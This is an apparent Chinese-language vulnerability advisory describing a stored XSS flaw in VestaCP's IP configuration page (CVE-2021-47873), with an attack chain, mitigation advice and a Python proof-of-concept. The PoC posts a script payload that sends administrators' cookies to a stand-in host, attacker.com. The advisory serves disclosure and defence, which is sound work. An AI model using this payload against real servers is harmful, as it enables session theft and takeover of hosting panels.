IPBUF安全漏洞报告
English
CVE-2021-47873 CVSS 7.2 高危

VestaCP < 0.9.8-25 IP配置页面存储型XSS漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47873
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
VestaCP

相关标签

存储型XSSVestaCPCVE-2021-47873控制面板漏洞Web应用安全身份认证绕过会话劫持

漏洞概述

VestaCP(Vesta Control Panel)是一款流行的开源主机管理面板,用于简化Linux服务器的管理工作。该产品在0.9.8-25之前的版本中存在一处严重的存储型跨站脚本(Stored XSS)漏洞。漏洞位于IP接口配置功能模块,攻击者可以通过构造恶意的POST请求,在v_interface参数中注入JavaScript等恶意脚本代码。当管理员或其他用户访问相关的IP配置管理页面时,注入的恶意脚本将被执行,可能导致会话劫持、敏感信息窃取、管理员权限滥用等严重安全后果。由于该漏洞属于存储型XSS,恶意代码会被永久保存在服务器端,影响范围更广,危害程度更高。

技术细节

该漏洞根源在于VestaCP的IP接口配置功能对用户输入缺乏充分的过滤和转义处理。攻击者需要向服务器发送一个精心构造的POST请求,目标端点为/add/ip/,核心攻击参数为v_interface。攻击者在此参数中嵌入恶意的JavaScript代码或HTML标签,如<script>alert(document.cookie)</script>等。由于应用程序未对输入进行安全过滤,该payload会被直接存储在数据库中。当管理员后续访问IP配置列表页面或相关管理界面时,浏览器会解析并执行这些存储的恶意代码。由于VestaCP通常以root权限运行,攻击成功的XSS可能进一步导致服务器被完全控制。漏洞的利用不需要任何认证,攻击者可以直接通过互联网发起攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标VestaCP服务器版本,确认版本低于0.9.8-25
STEP 2
步骤2
构造包含恶意XSS payload的POST请求,目标端点为/add/ip/,攻击参数为v_interface
STEP 3
步骤3
向目标服务器发送恶意请求,payload被存储到数据库中
STEP 4
步骤4
管理员或用户访问IP配置管理页面时,浏览器解析并执行存储的恶意脚本
STEP 5
步骤5
恶意脚本执行后,可窃取用户会话cookie、劫持管理员账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47873 PoC - VestaCP Stored XSS in IP interface configuration # Target: VestaCP versions < 0.9.8-25 # Endpoint: /add/ip/ # Parameter: v_interface target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-vestacp:8083" # XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Construct POST request to add IP with XSS payload endpoint = f"{target_url}/add/ip/" data = { "v_interface": xss_payload, "v_ip": "192.168.1.100", "v_netmask": "255.255.255.0" } try: print(f"[*] Sending XSS payload to {endpoint}") response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully!") print("[*] Payload stored in IP configuration") print("[*] When admin visits IP page, XSS will execute") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

VestaCP < 0.9.8-25

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)限制VestaCP管理面板的网络访问,仅允许受信任的IP访问;2)暂时禁用IP配置功能模块;3)部署ModSecurity等WAF规则检测和阻止XSS攻击向量;4)加强服务器监控,及时发现异常访问行为。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表